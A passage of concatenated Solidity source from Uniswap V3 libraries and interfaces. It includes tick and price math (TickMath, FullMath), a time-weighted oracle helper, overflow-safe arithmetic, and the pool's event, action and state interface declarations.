function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0 <0.8.0;
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@uniswap/v3-core/contracts/libraries/TickMath.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol';
import '../libraries/PoolAddress.sol';
/// @title Oracle library
/// @notice Provides functions to integrate with V3 pool oracle
library OracleLibrary {
/// @notice Fetches time-weighted average tick using Uniswap V3 oracle
/// @param pool Address of Uniswap V3 pool that we want to observe
/// @param period Number of seconds in the past to start calculating time-weighted average
/// @return timeWeightedAverageTick The time-weighted average tick from (block.timestamp - period) to block.timestamp
function consult(address pool, uint32 period) internal view returns (int24 timeWeightedAverageTick) {
require(period != 0, 'BP');
uint32[] memory secondAgos = new uint32[](2);
secondAgos[0] = period;
secondAgos[1] = 0;
(int56[] memory tickCumulatives, ) = IUniswapV3Pool(pool).observe(secondAgos);
int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
timeWeightedAverageTick = int24(tickCumulativesDelta / period);
// Always round to negative infinity
if (tickCumulativesDelta < 0 && (tickCumulativesDelta % period != 0)) timeWeightedAverageTick--;
}
/// @notice Given a tick and a token amount, calculates the amount of token received in exchange
/// @param tick Tick value used to calculate the quote
/// @param baseAmount Amount of token to be converted
/// @param baseToken Address of an ERC20 token contract used as the baseAmount denomination
/// @param quoteToken Address of an ERC20 token contract used as the quoteAmount denomination
/// @return quoteAmount Amount of quoteToken received for baseAmount of baseToken
function getQuoteAtTick(
int24 tick,
uint128 baseAmount,
address baseToken,
address quoteToken
) internal pure returns (uint256 quoteAmount) {
uint160 sqrtRatioX96 = TickMath.getSqrtRatioAtTick(tick);
// Calculate quoteAmount with better precision if it doesn't overflow when multiplied by itself
if (sqrtRatioX96 <= type(uint128).max) {
uint256 ratioX192 = uint256(sqrtRatioX96) * sqrtRatioX96;
quoteAmount = baseToken < quoteToken
? FullMath.mulDiv(ratioX192, baseAmount, 1 << 192)
: FullMath.mulDiv(1 << 192, baseAmount, ratioX192);
} else {
uint256 ratioX128 = FullMath.mulDiv(sqrtRatioX96, sqrtRatioX96, 1 << 64);
quoteAmount = baseToken < quoteToken
? FullMath.mulDiv(ratioX128, baseAmount, 1 << 128)
: FullMath.mulDiv(1 << 128, baseAmount, ratioX128);
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.0;
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
